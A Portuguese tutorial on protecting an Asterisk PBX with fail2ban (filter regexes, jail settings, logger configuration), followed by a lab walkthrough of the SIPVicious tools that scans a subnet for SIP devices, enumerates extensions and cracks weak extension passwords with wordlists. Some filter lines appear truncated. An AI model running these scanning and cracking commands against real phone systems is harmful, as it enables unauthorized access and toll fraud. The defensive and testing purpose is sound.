Créditos: Wagner Nunes (http://wnunes.com) modificado por Ulisses Féres.
Uma forma simples de minimizar problemas com ataques por força bruna no asterisk é a implementação do fail2ban.
Na pratica este serviço analisa as entradas nos logs e implementa regras de iptables baseadas nessa analise, desta forma a reincidência de expressões como “Wrong password” nos logs do asterisk gera um drop no iptables para o ip que está tentando se autenticar.
Instalando o fail2ban
Dependências:
* python
* iptables
No debian, para se certificar que as dependências estão instaladas, basta rodar o seguinte comando:
#apt-get install python iptables
Descompacte o pacote
Configurando o Fail2Ban
Agora nós precisamos fazer com que o fail2ban seja capaz de identificar ataques contra o asterisk.
Os arquivos de configuração ficam em: /etc/fail2ban/filter.d
Vamos criar aqui um arquivo para o asterisk.
#touch asterisk.conf
Este arquivo deve conter o seguinte:
#—————————————————————-
[INCLUDES]
[Definition]
failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.*
NOTICE.* .*: No registration for peer ‘.*’ \(from
NOTICE.* .*: Host
NOTICE.* .*: Failed to authenticate user .*@
ignoreregex =
#————————————————————————
ATENÇÃO, NO ASTERISK 1.8 foi necessário fazer alguns ajustes nesse arquivo, adicionando a frente da string HOST o parametro (:[0-9]{1,5})? ficando como abaixo:
[INCLUDES]
[Definition]
failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.*
NOTICE.* .*: No registration for peer ‘.*’ \(from
NOTICE.* .*: Host
NOTICE.* .*: Failed to authenticate user .*@
ignoreregex =
——————————————————————————————-
ATENÇÃO, NO ASTERISK 1.6 foi necessário fazer alguns ajustes como abaixo:
[INCLUDES]
[Definition]
failregex = NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*: Registration from ‘.*’ failed for ‘
NOTICE.* .*:
NOTICE.* .*: No registration for peer ‘.*’ (from
NOTICE.* .*: Host
NOTICE.* .*: Failed to authenticate user .*@
ignoreregex =
———————————————————————————————
No aquivo /etc/fail2ban/jail.conf inclua as seguintes linhas:
[asterisk-iptables]
enabled = true
filter = asterisk
action = iptables-allports[name=ASTERISK, protocol=all]
sendmail-whois[name=ASTERISK, dest=root, sender=abratel@gmail.com
logpath = /var/log/asterisk/messages
maxretry = 3
bantime = 259200
Maxretry determina a quantidade de erros que o fail2ban vai aceitar de um determinado host antes de bani-lo.
O bantime é em segundos, portanto neste caso qualquer tentativa de ataque ao asterisk será banida por 72 horas.
Para não banir você mesmo, no jail.conf, procure pela tag [DEFAULT], no paramento ignoreip informe seu ip.
Edite o /etc/asterisk/logger.conf e defina o dateformat da seguinte forma.
/etc/asterisk/logger.conf
[general]
dateformat=%F %T
[logfiles]
console => notice,warning,error,debug,verbose
messages => notice,warning,error
full => notice,warning,error,debug,verbose
syslog.local0 => notice
Feito isso é só dar reload no logger
asterisk -rx ”logger reload”
Para verificar se o fail2ban subiu, basta rodar o seguinte comando:
/etc/init.d/fail2ban stop
/etc/init.d/fail2ban start
iptables -L -v
As seguintes linhas devem aparecer:
Chain fail2ban-ASTERISK (1 references)
pkts bytes target prot opt in out source destination
6287K 1158M RETURN all – any any anywhere anywhere
Adicionar a run level para início automático:
ln -s /etc/init.d/fail2ban /etc/rc2/S99fail2ban
———————
Testando
———————
Mas chega de enrolação, o objetivo deste artigo é mostrar como funciona uma das ferramentas mais usadas nesse tipo de ataque.
Lembrando que este material tem carater meramente educativo, E EU NÃO ME RESPONSABILIZO DE FORMA ALGUMA PELO MAU USO DAS INFORMAÇÕES AQUI CONTIDAS.
O que é o sipvicious?
Sipvicious é uma suite de ferramentas para auditoria em sistemas voip baseados em sip, ele é composto por 4 ferramentas:
svmap – Um sip scanner capas de listar dispositivos sip em uma rede ou range de ips.
svwar – Ferramenta que identifica ramais sip em um PBX.
svcrack – Ferramenta para quebrar senhas de ramais sip.
Requisitos:
Python 2.4 ou superior.
O ideial é que não haja um asterisk rodando na maquina de testes, por uma questão de utlização da porta 5060, ok.
Ok, mãos a obra.
* Para este teste, uma rede foi montada com os erros mais comuns na administração de servidores Asterisk, são eles:
* Ramais onde a senha é o numero do ramal.
* Ramais com senhas toscas que podem ser facilmente encontradas em wordlists.
* Ramais sem senha.
* Firewall chumbrega.
* fail2ban nem pensar.
* Sem regras de permit/deny no sip.conf
* Todos os ramais ligam pra qualquer lugar.
Neste teste nós nem vamos utilizar todas estas falhas, mas pense a respeito!!!!
Download do sipvicious
wget http://sipvicious.googlecode.com/files/sipvicious-0.2.4.tar.gz
tar -zxvf sipvicious-0.2.4.tar.gz
cd sipvicious-0.2.4
Vamos rastrear os dipositivos SIP na rede.
./svmap.py 10.6.12.0/24
| SIP Device | User Agent | Fingerprint |
————————————————————————————————————-
| 10.6.12.76:5060 | Asterisk PBX | Asterisk PBX |
| 10.6.12.65:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.47:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.48:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.43:5060 | Grandstream GXP280 1.2.3.5 | Grandstream phone |
| 10.6.12.45:5060 | Grandstream GXP280 1.2.3.5 | Grandstream phone |
| 10.6.12.83:5060 | Grandstream GXP280 1.2.2.26 | Grandstream phone |
| 10.6.12.31:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.55:5060 | T20 9.41.0.70 | AVM or Speedport |
| 10.6.12.80:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.240:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
| 10.6.12.3:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
| 10.6.12.32:5060 | Yealink SIP-T20P 9.41.0.77 00:15:65:11:c2:8d | AVM or Speedport |
| 10.6.12.34:5060 | T20 9.41.0.80 | AVM or Speedport |
| 10.6.12.23:5060 | Asterisk PBX | Asterisk PBX |
Ok, o 23 ta com cara de alvo. Vamos ver oque ele tem
./svwar.py 10.6.12.23
| Extension | Authentication |
——————————
| 201 | reqauth |
| 200 | reqauth |
| 203 | reqauth |
| 205 | reqauth |
| 204 | reqauth |
| 207 | reqauth |
| 206 | reqauth |
| 208 | reqauth |
| 210 | reqauth |
| 211 | reqauth |
| 501 | reqauth |
| 217 | reqauth |
| 500 | reqauth |
| 212 | reqauth |
| 250 | reqauth |
| 220 | reqauth |
| 502 | reqauth |
| 222 | reqauth |
| 221 | reqauth |
| 213 | reqauth |
| 1100 | noauth |
| 1101 | noauth |
Para teste de senhas numericas basta rodar o seguinte comando.
./svcrack.py 10.6.12.23 -u 201
| Extension | Password |
—————————–
| 201 | 123 |
Senha fraca né???
Senhas alfanuméricas podem ser crackeadas atravéz de uma wordlist.
./svcrack.py 10.6.12.23 -u 202 -d /etc/dicionario.txt
| Extension | Password |
—————————–
| 202 | teste |
oops, mais uma!!!